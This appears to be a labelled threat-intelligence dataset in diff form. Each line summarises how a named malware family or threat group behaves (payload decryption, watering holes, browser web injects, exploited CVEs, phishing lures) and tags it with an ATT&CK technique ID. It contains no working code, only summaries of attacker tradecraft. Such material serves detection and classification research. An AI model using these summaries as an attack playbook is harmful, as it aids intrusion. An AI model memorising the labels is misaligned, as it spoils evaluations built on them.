+Gelsemium can decompress and decrypt DLLs and shellcode.	['T1140']
+GoldMax has decoded and decrypted the configuration file when executed.	['T1140']
+Goopy has used a polymorphic decryptor to decrypt itself at runtime.	['T1140']
+Green Lambert can use multiple custom routines to decrypt strings prior to execution.	['T1140']
+GrimAgent can use a decryption algorithm for strings based on Rotate on Right (RoR) and Rotate on Left (RoL) functionality.	['T1140']
+Hancitor has decoded Base64 encoded URLs to insert a recipient’s name into the filename of the Word document. Hancitor has also extracted executables from ZIP files.	['T1140']
+HermeticWiper can decompress and copy driver files using `LZCopy`.	['T1140']
+Heyoka Backdoor can decrypt its payload prior to execution.	['T1140']
+Hildegard has decrypted ELF files with AES.	['T1140']
+Honeybee drops a Word file containing a Base64-encoded file in it that is read, decoded, and dropped to the disk by the macro.	['T1140']
+IceApple can use a Base64-encoded AES key to decrypt tasking.	['T1140']
+Industroyer decrypts code to connect to a remote C2 server.	['T1140']
+InvisiMole can decrypt, unpack and load a DLL from its resources, or from blobs encrypted with Data Protection API, two-key triple DES, and variations of the XOR cipher.	['T1140']
+IronNetInjector has the ability to decrypt embedded .NET and PE payloads.	['T1140']
+KGH_SPY can decrypt encrypted strings and write them to a newly created folder.	['T1140']
+KOCTOPUS has deobfuscated itself before executing its commands.	['T1140']
+Ke3chang has deobfuscated Base64-encoded shellcode strings prior to loading them.	['T1140']
+Kerrdown can decode, decrypt, and decompress multiple layers of shellcode.	['T1140']
+"Kessel has decrypted the binary's configuration once the ""main"" function was launched."	['T1140']
+Kobalos decrypts strings right after the initial communication, but before the authentication process.	['T1140']
+Kwampirs decrypts and extracts a copy of its main DLL payload when executing.	['T1140']
+Lazarus Group has used shellcode within macros to decrypt and manually map DLLs and shellcode into memory at runtime.	['T1140']
+Leviathan has used a DLL known as SeDll to decrypt and execute other JavaScript backdoors.	['T1140']
+LightNeuron has used AES and XOR to decrypt configuration files and commands.	['T1140']
+LiteDuke has the ability to decrypt and decode multiple layers of obfuscation.	['T1140']
+Lokibot has decoded and decrypted its stages multiple times using hard-coded keys to deliver the final payload, and has decoded its server response hex string using XOR.	['T1140']
+Lucifer can decrypt its C2 address upon execution.	['T1140']
+MacMa decrypts a downloaded file using AES-128-EBC with a custom delta.	['T1140']
+MirageFox has a function for decrypting data containing C2 configuration information.	['T1140']
+Molerats decompresses ZIP files once on the victim machine.	['T1140']
+Mongall has the ability to decrypt its payload prior to execution.	['T1140']
+Mori can resolve networking APIs from strings that are ADD-encrypted.	['T1140']
+NativeZone can decrypt and decode embedded  Cobalt Strike beacon stage shellcode.	['T1140']
+Netwalker's PowerShell script can decode and decrypt multiple layers of obfuscation, leading to the Netwalker DLL being loaded into memory.	['T1140']
+"OSX/Shlayer can base64-decode and AES-decrypt downloaded payloads. Versions of OSX/Shlayer pass encrypted and password-protected code to ""openssl"" and then write the payload to the ""/tmp"" folder."	['T1140']
+Okrum's loader can decrypt the backdoor code, embedded within the loader or within a legitimate PNG file. A custom XOR cipher or RC4 is used for decryption.	['T1140']
+"One TYPEFRAME variant decrypts an archive using an RC4 key, then decompresses and installs the decrypted malicious DLL module. Another variant decodes the embedded file by XORing it with the value ""0x35""."	['T1140']
+OnionDuke can use a custom decryption algorithm to decrypt strings.	['T1140']
+OopsIE concatenates then decompresses multiple resources to load an embedded .Net Framework assembly.	['T1140']
+P.A.S. Webshell can use a decryption mechanism to process a user supplied password and allow execution.	['T1140']
+PUNCHBUGGY has used PowerShell to decode base64-encoded assembly.	['T1140']
+PcShare has decrypted its strings by applying a XOR operation and a decompression using a custom implemented LZM algorithm.	['T1140']
+Pillowmint has been decompressed by included shellcode prior to being launched.	['T1140']
+PlugX decompresses and decrypts itself using the Microsoft API call RtlDecompressBuffer.	['T1140']
+PoetRAT has used LZMA and base64 libraries to decode obfuscated scripts.	['T1140']
+Proton uses an encrypted file to store commands and configuration values.	['T1140']
+Pteranodon can decrypt encrypted data strings prior to using them.	['T1140']
+PyDCrypt has decrypted and dropped the DCSrv payload to disk.	['T1140']
+QUADAGENT uses AES and a preshared key to decrypt the custom Base64 routine used to encode strings and scripts.	['T1140']
+QakBot can deobfuscate and re-assemble code strings for execution.	['T1140']
+RDAT can deobfuscate the base64-encoded and AES-encrypted files downloaded from the C2 server.	['T1140']
+REvil can decode encrypted strings to enable execution of commands and payloads.	['T1140']
+RGDoor decodes Base64 strings and decrypts strings using a custom XOR algorithm.	['T1140']
+ROKRAT can decrypt strings using the victim's hostname as the key.	['T1140']
+Raindrop decrypted its Cobalt Strike payload using an AES-256 encryption algorithm in CBC mode with a unique key per sample.	['T1140']
+Ramsay can extract its agent from the body of a malicious document.	['T1140']
+RegDuke can decrypt strings with a key either stored in the Registry or hardcoded in the code.	['T1140']
+Rising Sun has decrypted itself using a single-byte XOR scheme. Additionally, Rising Sun can decrypt its configuration data at runtime.	['T1140']
+RogueRobin decodes an embedded executable using base64 and decompresses it.	['T1140']
+SDBbot has the ability to decrypt and decompress its payload to enable code execution.	['T1140']
+SUNSPOT decrypts SUNBURST, which was stored in AES128-CBC encrypted blobs.	['T1140']
+Saint Bot can deobfuscate strings and files for execution.	['T1140']
+Sandworm Team's VBS backdoor can decode Base64-encoded data and save it to the %TEMP% folder. The group also decrypted received information using the Triple DES algorithm and decompresses it using GZip.	['T1140']
+ShadowPad has decrypted a binary blob to start execution.	['T1140']
+ShimRat has decompressed its core DLL using shellcode once an impersonated antivirus component was running on a system.	['T1140']
+Sibot can decrypt data received from a C2 and save to a file.	['T1140']
+Skidmap has the ability to download, unpack, and decrypt tar.gz files .	['T1140']
+Smoke Loader deobfuscates its code.	['T1140']
+"SombRAT can run ""upload"" to decrypt and upload files from storage."	['T1140']
+SoreFang can decode and decrypt exfiltrated data sent to C2.	['T1140']
+Spark has used a custom XOR algorithm to decrypt the payload.	['T1140']
+Squirrelwaffle has decrypted files and payloads using a XOR-based algorithm.	['T1140']
+SysUpdate can deobfuscate packed binaries in memory.	['T1140']
+TA505 has decrypted packed DLLs with an XOR key.	['T1140']
+TEARDROP was decoded using a custom rolling XOR algorithm to execute a customized Cobalt Strike payload.	['T1140']
+TSCookie has the ability to decrypt, load, and execute a DLL and its resources.	['T1140']
+Taidoor can use a stream cipher to decrypt stings used by the malware.	['T1140']
+TeamTNT has used a script that decodes a Base64-encoded version of WeaveWorks Scope.	['T1140']
+The Chinoxy dropping function can initiate decryption of its config file.	['T1140']
+ThreatNeedle can decrypt its payload using RC4, AES, or one-byte XORing.	['T1140']
+Tropic Trooper used shellcode with an XOR algorithm to decrypt a payload. Tropic Trooper also decrypted image files which contained a payload.	['T1140']
+Turian has the ability to use a XOR decryption key to extract C2 server domains and IP addresses.	['T1140']
+Turla has used a custom decryption routine, which pulls key and salt values from other artifacts such as a WMI filter or PowerShell Profile, to decode encrypted PowerShell payloads.	['T1140']
+Upon execution, Metamorfo has unzipped itself after being downloaded to the system and has performed string decryption.	['T1140']
+Ursnif has used crypto key information stored in the Registry to decrypt Tor clients dropped to disk.	['T1140']
+VaporRage can deobfuscate XOR-encoded shellcode prior to execution.	['T1140']
+Volgmer deobfuscates its strings and APIs once its executed.	['T1140']
+WIRTE has used Base64 to decode malicious VBS script.	['T1140']
+WastedLocker's custom cryptor, CryptOne, used an XOR based algorithm to decrypt the payload.	['T1140']
+Waterbear has the ability to decrypt its RC4 encrypted payload for execution.	['T1140']
+WellMail can decompress scripts received from C2.	['T1140']
+WellMess can decode and decrypt data received from C2.	['T1140']
+WhisperGate can deobfuscate downloaded files stored in reverse byte order and decrypt embedded resources using multiple XOR operations.	['T1140']
+WindTail has the ability to decrypt strings using hard-coded AES keys.	['T1140']
+Winnti for Linux has decoded XOR encoded strings holding its configuration upon execution.	['T1140']
+ZIRCONIUM has used the AES256 algorithm with a SHA1 derived key to decrypt exploit code.	['T1140']
+Zebrocy decodes its secondary payload and writes it to the victim’s machine. Zebrocy also uses AES and XOR to decrypt strings and payloads.	['T1140']
+ZeroT shellcode decrypts and decompresses its RC4-encrypted payload.	['T1140']
+Zeus Panda decrypts strings in the code during the execution process.	['T1140']
+certutil has been used to decode binaries hidden inside certificate files as Base64 information.	['T1140']
+"menuPass has used certutil in a macro to decode base64-encoded content contained in a dropper document attached to an email. The group has also used ""certutil -decode"" to decode files on the victim’s machine when dropping UPPERCUT."	['T1140']
+xCaon has decoded strings from the C2 server before executing commands.	['T1140']
+Bundlore can install malicious browser extensions that are used to hijack user searches.	['T1176']
+Kimsuky has used Google Chrome browser extensions to infect victims and to steal passwords and cookies.	['T1176']
+Agent Tesla has the ability to use form-grabbing to extract data from web data forms.	['T1185']
+Carberp has captured credentials when a user performs login through a SSL session.	['T1185']
+Cobalt Strike can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates.	['T1185']
+Dridex can perform browser attacks via web injects to steal information such as credentials, certificates, and cookies.	['T1185']
+QakBot can use advanced web injects to steal web banking credentials.	['T1185']
+TrickBot uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified web page.	['T1185']
+Ursnif has injected HTML codes into banking sites to steal sensitive online banking information (ex: usernames and passwords).	['T1185']
+DarkHydrus used Template Injection to launch an authentication window for users to enter their credentials.	['T1187']
+Dragonfly 2.0 has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.	['T1187']
+Dragonfly has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.	['T1187']
+APT19 performed a watering hole attack on forbes.com in 2014 to compromise targets.	['T1189']
+APT32 has infected victims by tricking them into visiting compromised watering hole websites.	['T1189']
+APT37 has used strategic web compromises, particularly of South Korean websites, to distribute malware. The group has also used torrent file-sharing sites to more indiscriminately disseminate malware to victims. As part of their compromises, the group has used a Javascript based profiler called RICECURRY to profile a victim's web browser and deliver malicious code accordingly.	['T1189']
+APT38 has conducted watering holes schemes to gain initial access to victims.	['T1189']
+Andariel has used watering hole attacks, often with zero-day exploits, to gain initial access to victims within a specific IP range.	['T1189']
+Axiom has used watering hole attacks to gain access.	['T1189']
+BRONZE BUTLER compromised three Japanese websites using a Flash exploit to perform watering hole attacks.	['T1189']
+Bundlore has been spread through malicious advertisements on websites.	['T1189']
+Dark Caracal leveraged a watering hole to serve up malicious code.	['T1189']
+Darkhotel used embedded iframes on hotel login portals to redirect selected victims to download malware.	['T1189']
+Dragonfly 2.0 compromised legitimate organizations' websites to create watering holes to compromise victims.	['T1189']
+Dragonfly has compromised targets via strategic web compromise (SWC) utilizing a custom exploit kit.	['T1189']
+During Operation Dust Storm, the threat actors used a watering hole attack on a popular software reseller to exploit the then-zero-day Internet Explorer vulnerability CVE-2014-0322.	['T1189']
+Earth Lusca has performed watering hole attacks.	['T1189']
+Elderwood has delivered zero-day exploits and malware to victims by injecting malicious code into specific public Web pages visited by targets within a particular sector.	['T1189']
+Grandoreiro has used compromised websites and Google Ads to bait victims into downloading its installer.	['T1189']
+KARAE was distributed through torrent file-sharing websites to South Korean victims, using a YouTube video downloader application as a lure.	['T1189']
+Lazarus Group delivered RATANKBA and other malicious code to victims via a compromised legitimate website.	['T1189']
+Leafminer has infected victims using watering holes.	['T1189']
+Leviathan has infected victims using watering holes.	['T1189']
+LoudMiner is typically bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.	['T1189']
+Machete has distributed Machete through a fake blog website.	['T1189']
+Magic Hound has conducted watering-hole attacks through media and magazine websites.	['T1189']
+PLATINUM has sometimes used drive-by attacks against vulnerable browser plugins.	['T1189']
+POORAIM has been delivered through compromised sites acting as watering holes.	['T1189']
+Patchwork has used watering holes to deliver files with exploits to initial victims.	['T1189']
+REvil has infected victim machines through compromised websites and exploit kits.	['T1189']
+Threat Group-3390 has extensively used strategic web compromises to target victims.	['T1189']
+Turla has infected victims using watering holes.	['T1189']
+Windigo has distributed Windows malware via drive-by downloads.	['T1189']
+Windshift has used compromised websites to register custom URL schemes on a remote system.	['T1189']
+APT28 has used a variety of public exploits, including CVE 2020-0688 and CVE 2020-17144, to gain execution on vulnerable Microsoft Exchange; they have also conducted SQL injection attacks against external websites.	['T1190']
+APT29 has exploited CVE-2019-19781 for Citrix, CVE-2019-11510 for Pulse Secure VPNs, CVE-2018-13379 for FortiGate VPNs, and CVE-2019-9670 in Zimbra software to gain access. They have also exploited CVE-2020-0688 against the Microsoft Exchange Control Panel to regain access to a network.	['T1190']
+APT39 has used SQL injection for initial compromise.	['T1190']
+APT41 exploited CVE-2020-10189 against Zoho ManageEngine Desktop Central, and CVE-2019-19781 to compromise Citrix Application Delivery Controllers (ADC) and gateway devices.	['T1190']
+Axiom has been observed using SQL injection to gain access to systems.	['T1190']
+BackdoorDiplomacy has exploited CVE-2020-5902, an F5 BIP-IP vulnerability, to drop a Linux backdoor. BackdoorDiplomacy has also exploited mis-configured Plesk servers.	['T1190']
+BlackTech has exploited a buffer overflow vulnerability in Microsoft Internet Information Services (IIS) 6.0, CVE-2017-7269, in order to establish a new HTTP or command and control (C2) server.	['T1190']
+Dragonfly has conducted SQL injection attacks, exploited vulnerabilities CVE-2019-19781 and CVE-2020-0688 for Citrix and MS Exchange, and CVE-2018-13379 for Fortinet VPNs.	['T1190']
+During Operation CuckooBees, the threat actors exploited multiple vulnerabilities in externally facing servers.	['T1190']
+During Operation Wocao, threat actors gained initial access by exploiting vulnerabilities in JBoss webservers.	['T1190']
+Earth Lusca has compromised victims by directly exploiting vulnerabilities of public-facing servers, including those associated with Microsoft Exchange and Oracle GlassFish.	['T1190']
+Fox Kitten has exploited known vulnerabilities in Fortinet, PulseSecure, and Palo Alto VPN appliances.	['T1190']
+HAFNIUM has exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065  to compromise on-premises versions of Microsoft Exchange Server, enabling access to email accounts and installation of additional malware.	['T1190']
+Havij is used to automate SQL injection.	['T1190']
+Ke3chang has compromised networks by exploiting Internet-facing applications, including vulnerable Microsoft Exchange and SharePoint servers.	['T1190']
+Kimsuky has exploited various vulnerabilities for initial access, including Microsoft Exchange vulnerability CVE-2020-0688.	['T1190']
+Magic Hound has used open-source JNDI exploit kits to exploit Log4j (CVE-2021-44228) and has exploited ProxyShell (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) on MS Exchange servers.	['T1190']
+MuddyWater has exploited the Microsoft Exchange memory corruption vulnerability (CVE-2020-0688).	['T1190']
+Operation Wocao has gained initial access via vulnerable webservers.	['T1190']
+Rocke exploited Apache Struts, Oracle WebLogic (CVE-2017-10271), and Adobe ColdFusion (CVE-2017-3066) vulnerabilities to deliver malware.	['T1190']
+SoreFang can gain access by exploiting a Sangfor SSL VPN vulnerability that allows for the placement and delivery of malicious update binaries.	['T1190']
+Threat Group-3390 has exploited the Microsoft SharePoint vulnerability CVE-2019-0604 and CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 in Exchange Server.	['T1190']
+Volatile Cedar has targeted publicly facing web servers, with both automatic and manual vulnerability discovery.	['T1190']
+menuPass has leveraged vulnerabilities in Pulse Secure VPNs to hijack sessions.	['T1190']
+sqlmap can be used to automate exploitation of SQL injection vulnerabilities.	['T1190']
+Elderwood has targeted manufacturers in the supply chain for the defense industry.	['T1195']
+NotPetya's initial infection vector for the June 27, 2017 compromise was a backdoor in the Ukrainian tax accounting software M.E.Doc.	['T1195']
+Smoke Loader was distributed through a compromised update to a Tor client with a coin miner payload.	['T1195']
+"XCSSET adds malicious code to a host's Xcode projects by enumerating CocoaPods ""target_integrator.rb"" files under the ""/Library/Ruby/Gems"" folder or enumerates all "".xcodeproj"" folders under a given directory. XCSSET then downloads a script and Mach-O file into the Xcode project folder."	['T1195.001']
+APT29 gained initial network access to some victims via a trojanized update of SolarWinds Orion software.	['T1195.002']
+APT41 gained access to production environments where they could inject malicious code into legitimate, signed files and widely distribute them to end users.	['T1195.002']
+Cobalt Group has compromised legitimate web browser updates to deliver a backdoor.	['T1195.002']
+Dragonfly has placed trojanized installers for control system software on legitimate vendor app stores.	['T1195.002']
+GOLD SOUTHFIELD has distributed ransomware by backdooring software installers via a strategic web compromise of the site hosting Italian WinRAR.	['T1195.002']
+Gelsemium has compromised software supply chains to gain access to victims.	['T1195.002']
+GoldenSpy has been packaged with a legitimate tax preparation software.	['T1195.002']
+SUNSPOT malware was designed and used to insert SUNBURST into software builds of the SolarWinds Orion IT management product.	['T1195.002']
+Sandworm Team has distributed NotPetya by compromising the legitimate Ukrainian accounting software M.E.Doc and replacing a legitimate software update with a malicious one.	['T1195.002']
+Threat Group-3390 has compromised the Able Desktop installer to gain access to victim's environments.	['T1195.002']
+A JPIN variant downloads the backdoor payload via the BITS service.	['T1197']
+APT39 has used the BITS protocol to exfiltrate stolen data from a compromised host.	['T1197']
+BITSAdmin can be used to create BITS Jobs to launch a malicious process.	['T1197']
+"Cobalt Strike can download a hosted ""beacon"" payload using BITSAdmin."	['T1197']
+Egregor has used BITSadmin to download and execute malicious DLLs.	['T1197']
+Leviathan has used BITSAdmin to download additional tools.	['T1197']
+MarkiRAT can use BITS Utility to connect with the C2 server.	['T1197']
+Patchwork has used BITS jobs to download malicious payloads.	['T1197']
+ProLock can use BITS jobs to download its malicious payload.	['T1197']
+UBoatRAT takes advantage of the /SetNotifyCmdLine option in BITSAdmin to ensure it stays running on a system to maintain persistence.	['T1197']
+APT29 has gained access through compromised accounts at cloud solution partners, and used compromised certificates issued by Mimecast to authenticate to Mimecast customer systems.	['T1199']
+GOLD SOUTHFIELD has breached Managed Service Providers (MSP's) to deliver malware to MSP customers.	['T1199']
+LAPSUS$ has accessed internet-facing identity providers such as Azure Active Directory and Okta to target specific organizations.	['T1199']
+Once APT28 gained access to the DCCC network, the group then proceeded to use that access to compromise the DNC network.	['T1199']
+POLONIUM has used compromised credentials from an IT company to target downstream customers including a law firm and aviation company.	['T1199']
+Sandworm Team has used dedicated network connections from one victim organization to gain unauthorized access to a separate organization.	['T1199']
+"APT34 has used net.exe in a script with ""net accounts /domain"" to find the password policy of a domain."	['T1201']
+BloodHound can collect password policy information on the target environment.	['T1201']
+During Operation CuckooBees, the threat actors used the `net accounts` command as part of their advanced reconnaissance.	['T1201']
+"Kwampirs collects password policy information with the command ""net accounts""."	['T1201']
+"OilRig has used net.exe in a script with ""net accounts /domain"" to find the password policy of a domain."	['T1201']
+"The ""net accounts"" and ""net accounts /domain"" commands with Net can be used to obtain password policy information."	['T1201']
+"Turla has used ""net accounts"" and ""net accounts /domain"" to acquire password policy information."	['T1201']
+Forfiles can be used to subvert controls and possibly conceal command execution by not directly invoking cmd.	['T1202']
+"Lazarus Group persistence mechanisms have used ""forfiles.exe"" to execute .htm files."	['T1202']
+APT12 has exploited multiple vulnerabilities for execution, including Microsoft Office vulnerabilities (CVE-2009-3129, CVE-2012-0158) and vulnerabilities in Adobe Reader and Flash (CVE-2009-4324, CVE-2009-0927, CVE-2011-0609, CVE-2011-0611).	['T1203']
+APT28 has exploited Microsoft Office vulnerability CVE-2017-0262 for execution.	['T1203']
+APT29 has used multiple software exploits for common client software, like Microsoft Word, Exchange, and Adobe Reader, to gain code execution.	['T1203']
+APT3 has exploited the Adobe Flash Player vulnerability CVE-2015-3113 and Internet Explorer vulnerability CVE-2014-1776.	['T1203']
+APT32 has used RTF document that includes an exploit to execute malicious code. (CVE-2017-11882)	['T1203']
+APT33 has attempted to exploit a known vulnerability in WinRAR (CVE-2018-20250), and attempted to gain remote code execution via a security bypass vulnerability (CVE-2017-11774).	['T1203']
+APT37 has used exploits for Flash Player (CVE-2016-4117, CVE-2018-4878), Word (CVE-2017-0199), Internet Explorer (CVE-2020-1380 and CVE-2020-26411), and Microsoft Edge (CVE-2021-26411) for execution.	['T1203']
+APT41 leveraged the follow exploits in their operations: CVE-2012-0158, CVE-2015-1641, CVE-2017-0199, CVE-2017-11882, and CVE-2019-3396.	['T1203']
+Agent Tesla exploits CVE-2017-11882 in Microsoft’s Equation Editor to execute a process.	['T1203']
+Agent Tesla has exploited Office vulnerabilities such as CVE-2017-11882 and CVE-2017-8570 for execution during delivery.	['T1203']
+Aoqin Dragon has exploited CVE-2012-0158 and CVE-2010-3333 for execution against targeted systems.	['T1203']
+Axiom has used exploits for multiple vulnerabilities including CVE-2014-0322, CVE-2012-4792, CVE-2012-1889, and CVE-2013-3893.	['T1203']
+BITTER has exploited Microsoft Office vulnerabilities CVE-2012-0158, CVE-2017-11882, CVE-2018-0798, and CVE-2018-0802.	['T1203']
+BRONZE BUTLER has exploited Microsoft Office vulnerabilities CVE-2014-4114, CVE-2018-0802, and CVE-2018-0798 for execution.	['T1203']
+Bankshot leverages a known zero-day vulnerability in Adobe Flash to execute the implant into the victims’ machines.	['T1203']
+Cobalt Strike can exploit Oracle Java vulnerabilities for execution, including CVE-2011-3544, CVE-2013-2465, CVE-2012-4681, and CVE-2013-2460.	['T1203']
+Confucius has exploited Microsoft Office vulnerabilities, including CVE-2015-1641, CVE-2017-11882, and CVE-2018-0802.	['T1203']
+Dragonfly has exploited CVE-2011-0611 in Adobe Flash Player to gain execution on a targeted system.	['T1203']
+During Frankenstein, the threat actors exploited CVE-2017-11882 to execute code on the victim's machine.	['T1203']
+During Operation Dust Storm, the threat actors exploited Adobe Flash vulnerability CVE-2011-0611, Microsoft Windows Help vulnerability CVE-2010-1885, and several Internet Explorer vulnerabilities, including CVE-2011-1255, CVE-2012-1889, and CVE-2014-0322.	['T1203']
+EXOTIC LILY has used malicious documents containing exploits for CVE-2021-40444 affecting Microsoft MSHTML.	['T1203']
+Elderwood has used exploitation of endpoint software, including Microsoft Internet Explorer Adobe Flash vulnerabilities, to gain execution. They have also used zero-day exploits.	['T1203']
+Ember Bear has exploited Microsoft Office vulnerability CVE-2017-11882.	['T1203']
+EvilBunny has exploited CVE-2011-4369, a vulnerability in the PRC component in Adobe Reader.	['T1203']
+Inception has exploited CVE-2012-0158, CVE-2014-1761, CVE-2017-11882 and CVE-2018-0802 for execution.	['T1203']
+InvisiMole has installed legitimate but vulnerable Total Video Player software and wdigest.dll library drivers on compromised hosts to exploit stack overflow and input validation vulnerabilities for code execution.	['T1203']
+KeyBoy exploits the vulnerability CVE-2012-0158 for execution.	['T1203']
+Lazarus Group has exploited Adobe Flash vulnerability CVE-2018-4878 for execution.	['T1203']
+Leviathan has exploited multiple Microsoft Office and .NET vulnerabilities for execution, including CVE-2017-0199, CVE-2017-8759, and CVE-2017-11882.	['T1203']
+MuddyWater has exploited the Office vulnerability CVE-2017-0199 for execution.	['T1203']
+Patchwork uses malicious documents to deliver remote execution exploits as part of. The group has previously exploited CVE-2017-8570, CVE-2012-1856, CVE-2014-4114, CVE-2017-0199, CVE-2017-11882, and CVE-2015-1641.	['T1203']
+Ramsay has been embedded in documents exploiting CVE-2017-0199, CVE-2017-11882, and CVE-2017-8570.	['T1203']
+SUPERNOVA was installed via exploitation of a SolarWinds Orion API authentication bypass vulnerability (CVE-2020-10148).	['T1203']
+Sandworm Team has exploited vulnerabilities in Microsoft PowerPoint via OLE objects (CVE-2014-4114) and Microsoft Word via crafted TIFF images (CVE-2013-3906).	['T1203']
+SpeakUp attempts to exploit the following vulnerabilities in order to execute its malicious script: CVE-2012-0874, CVE-2010-1871, CVE-2017-10271, CVE-2018-2894, CVE-2016-3088, JBoss AS 3/4/5/6, and the Hadoop YARN ResourceManager.	['T1203']
+The White Company has taken advantage of a known vulnerability in Microsoft Word (CVE 2012-0158) to execute code.	['T1203']
+Threat Group-3390 has exploited CVE-2018-0798 in Equation Editor.	['T1203']
+Tonto Team has exploited Microsoft vulnerabilities, including CVE-2018-0798, CVE-2018-8174, CVE-2018-0802, CVE-2017-11882, CVE-2019-9489 CVE-2020-8468, and CVE-2018-0798 to enable execution of their delivered malicious payloads.	['T1203']
+Transparent Tribe has crafted malicious files to exploit CVE-2012-0158 and CVE-2010-3333 for execution.	['T1203']
+Tropic Trooper has executed commands through Microsoft security vulnerabilities, including CVE-2017-11882, CVE-2018-0802, and CVE-2012-0158.	['T1203']
+admin@338 has exploited client software vulnerabilities for execution, such as Microsoft Word CVE-2012-0158.	['T1203']
+LAPSUS$ has recruited target organization employees or contractors who provide credentials and approve an associated MFA prompt, or install remote management software onto a corporate workstation, allowing LAPSUS$ to take control of an authenticated system.	['T1204']
+Magic Hound has attempted to get users to execute malware via social media and spearphishing emails.	['T1204']
+APT29 has used various forms of spearphishing attempting to get a user to click on a malicous link.	['T1204.001']
+APT32 has lured targets to download a Cobalt Strike beacon by including a malicious link within spearphishing emails.	['T1204.001']
+APT33 has lured users to click links to malicious HTML applications delivered via spearphishing emails.	['T1204.001']
+APT39 has sent spearphishing emails in an attempt to lure users to click on a malicious link.	['T1204.001']
+Bazar can gain execution after a user clicks on a malicious link to decoy landing pages hosted on Google Docs.	['T1204.001']
+Cobalt Group has sent emails containing malicious links that require users to execute a file or macro to infect the victim machine.	['T1204.001']
+Dragonfly 2.0 has used various forms of spearphishing in attempts to get users to open links.	['T1204.001']
+During Night Dragon, threat actors enticed users to click on links in spearphishing emails to download malware.	['T1204.001']
+During Operation Spalax, the threat actors relied on a victim to click on a malicious link distributed via phishing emails.	['T1204.001']
+EXOTIC LILY has used malicious links to lure users into executing malicious payloads.	['T1204.001']
+Earth Lusca  has sent spearphishing emails that required the user to click on a malicious link and subsequently open a decoy document with a malicious loader.	['T1204.001']
+Elderwood has leveraged multiple types of spearphishing in order to attempt to get a user to open links.	['T1204.001']
+FIN4 has lured victims to click malicious links delivered via spearphishing emails (often sent from compromised accounts).	['T1204.001']
+FIN7 has used malicious links to lure victims into downloading malware.	['T1204.001']
+Grandoreiro has used malicious links to gain execution on victim machines.	['T1204.001']
+Hancitor has relied upon users clicking on a malicious link delivered through phishing.	['T1204.001']
+Javali has achieved execution through victims clicking links to malicious websites.	['T1204.001']
+KOCTOPUS has relied on victims clicking on a malicious link delivered via email.	['T1204.001']
+Kerrdown has gained execution through victims opening malicious links.	['T1204.001']
+Kimsuky has lured victims into clicking malicious links.	['T1204.001']
+Lazarus Group has sent spearphishing emails in an attempt to lure users to click on a malicious link.	['T1204.001']
+LazyScripter has relied upon users clicking on links to malicious files.	['T1204.001']
+Leviathan has sent spearphishing email links attempting to get a user to click.	['T1204.001']
+Magic Hound has attempted to lure victims into opening malicious links embedded in emails.	['T1204.001']
+Melcoz has gained execution through victims opening malicious links.	['T1204.001']
+Mofang's spearphishing emails required a user to click the link to connect to a compromised website.	['T1204.001']
+MuddyWater has distributed URLs in phishing e-mails that link to lure documents.	['T1204.001']
+Mustang Panda has sent malicious links including links directing victims to a Google Drive folder.	['T1204.001']
+NETWIRE has been executed through convincing victims into clicking malicious links.	['T1204.001']
+ObliqueRAT has gained execution on targeted systems through luring users to click on links to malicious URLs.	['T1204.001']
+OilRig has delivered malicious links to achieve execution on the target system.	['T1204.001']
+OutSteel has relied on a user to click a malicious link within a spearphishing email.	['T1204.001']
+PLEAD has been executed via malicious links in e-mails.	['T1204.001']
+QakBot has gained execution through users opening malicious links.	['T1204.001']
+SMOKEDHAM has relied upon users clicking on a malicious link delivered through phishing.	['T1204.001']
+Sandworm Team has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.	['T1204.001']
+Sidewinder has lured targets to click on malicious links to gain execution in the target environment.	['T1204.001']
+SpicyOmelette has been executed through malicious links within spearphishing emails.	['T1204.001']
+Squirrelwaffle has relied on victims to click on a malicious link send via phishing campaigns.	['T1204.001']
+TSCookie has been executed via malicious links embedded in e-mails spoofing the Ministries of Education, Culture, Sports, Science and Technology of Japan.	['T1204.001']
+Transparent Tribe has directed users to open URLs hosting malicious content.	['T1204.001']
+Turla has used spearphishing via a link to get users to download and run their malware.	['T1204.001']
+Windshift has used links embedded in e-mails to lure victims into executing malicious code.	['T1204.001']
+Wizard Spider has lured victims into clicking a malicious link delivered through spearphishing.	['T1204.001']
+ZIRCONIUM has used malicious links in e-mails to lure victims into downloading malware.	['T1204.001']
+A Word document delivering TYPEFRAME prompts the user to enable macro execution.	['T1204.002']
+APT-C-36 has prompted victims to accept macros in order to execute the subsequent payload.	['T1204.002']
+APT28 attempted to get users to click on Microsoft Office attachments containing malicious macro scripts.	['T1204.002']
+APT29 has used various forms of spearphishing attempting to get a user to open attachments, including, but not limited to, malicious Microsoft Word documents, .pdf, and .lnk files.	['T1204.002']
+APT30 has relied on users to execute malicious file attachments delivered via spearphishing emails.	['T1204.002']
+APT32 has attempted to lure users to execute a malicious dropper delivered via a spearphishing attachment.	['T1204.002']
+APT37 has sent spearphishing attachments attempting to get a user to open them.	['T1204.002']
+APT39 has sent spearphishing emails in an attempt to lure users to click on a malicious attachment.	['T1204.002']
+Ajax Security Team has lured victims into executing malicious files.	['T1204.002']
+Aoqin Dragon has lured victims into opening weaponized documents, fake external drives, and fake antivirus to execute malicious payloads.	['T1204.002']
+AppleJeus has required user execution of a malicious MSI installer.	['T1204.002']
+AppleSeed can achieve execution through users running malicious file attachments distributed via email.	['T1204.002']
+Astaroth has used malicious files including VBS, LNK, and HTML for execution.	['T1204.002']
+BITTER has attempted to lure victims into opening malicious attachments delivered via spearphishing.	['T1204.002']
+BLINDINGCAN has lured victims into executing malicious macros embedded within Microsoft Office documents.	['T1204.002']
+BRONZE BUTLER has attempted to get users to launch malicious Microsoft Word attachments delivered via spearphishing emails.	['T1204.002']
+Bad Rabbit has been executed through user installation of an executable disguised as a flash installer.	['T1204.002']
+Bisonal has relied on users to execute malicious file attachments delivered via spearphishing emails.	['T1204.002']
+BlackTech has used e-mails with malicious documents to lure victims into installing malware.	['T1204.002']
+BoomBox has gained execution through user interaction with a malicious file.	['T1204.002']
